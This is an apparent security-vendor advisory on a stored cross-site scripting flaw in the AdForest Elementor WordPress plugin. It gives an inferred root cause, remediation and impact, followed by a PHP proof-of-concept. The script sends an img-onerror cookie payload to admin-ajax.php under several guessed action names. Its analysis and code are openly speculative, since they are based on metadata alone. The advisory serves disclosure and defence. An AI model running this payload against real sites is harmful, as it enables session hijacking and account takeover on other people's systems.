Atomic Edge analysis of CVE-2025-67947 (metadata-based):
The AdForest Elementor plugin for WordPress contains an unauthenticated stored cross-site scripting vulnerability in versions up to and including 3.0.11. The vulnerability exists due to insufficient input sanitization and output escaping, allowing attackers to inject arbitrary JavaScript into pages. This stored XSS executes whenever a user accesses a compromised page, affecting all visitors without authentication.
Atomic Edge research infers the root cause is improper neutralization of user input before web page generation, consistent with CWE-79. The vulnerability description indicates insufficient sanitization and escaping, a common pattern in WordPress plugins where user-supplied data reaches output without proper `wp_kses()` or `esc_*()` functions. Without code diff confirmation, we conclude the plugin likely fails to validate or escape data in one or more Elementor widgets or AJAX handlers before storing it in the database and rendering it to users.
Exploitation likely occurs through public-facing forms or endpoints that accept user input for Elementor widget parameters. Attackers can send malicious payloads containing JavaScript via POST or GET parameters to plugin-specific AJAX actions or REST API endpoints. The payload persists in the database and renders on pages where the vulnerable widget displays. A typical attack vector would target `/wp-admin/admin-ajax.php` with an `action` parameter containing an AdForest Elementor AJAX hook, or a public form submission endpoint that bypasses authentication checks.
Remediation requires implementing proper input validation and output escaping. The patched version 3.0.12 likely adds `sanitize_text_field()` or similar WordPress sanitization functions to all user input handlers. Output rendering should use `wp_kses()` with allowed HTML tags or appropriate escaping functions like `esc_html()`. Nonce verification and capability checks should also be implemented if missing, though the unauthenticated nature suggests these were absent.
Successful exploitation enables attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking, administrative account takeover, defacement, malicious redirects, or data exfiltration. The CVSS vector indicates scope change (S:C), meaning the vulnerability can affect other site components beyond the plugin itself. Attackers can manipulate site content, steal sensitive data, or perform actions on behalf of authenticated users.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67947 - AdForest Elementor <= 3.0.11 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67947
* Assumptions based on metadata analysis:
* 1. The plugin has an AJAX endpoint accessible without authentication
* 2. The endpoint accepts unsanitized parameters that get stored and rendered
* 3. The plugin slug 'adforest-elementor' maps to AJAX action prefixes
* 4. The vulnerability affects Elementor widget parameters
*/
$target_url = 'https://vulnerable-site.com';
// Common AJAX endpoint for WordPress plugins
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';
// Infer possible AJAX action names from plugin slug
// WordPress plugins often use patterns like 'adforest_elementor_action' or 'adforest_elementor_save'
$possible_actions = [
'adforest_elementor_save_widget',
'adforest_elementor_update_settings',
'adforest_elementor_ajax_handler',
'adforest_save_elementor_data'
];
// XSS payload that will execute when page loads
$payload = '<img src=x onerror=alert(document.cookie)>';
$ch = curl_init();
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
'widget_id' => 'test_widget',
'widget_data' => $payload,
'nonce' => 'bypassed' // Nonce may be required but vulnerable versions might not verify
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_endpoint,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && stripos($response, 'success') !== false) {
echo "Potential success with action: $actionn";
echo "Response: $responsen";
break;
}
}
curl_close($ch);
?>
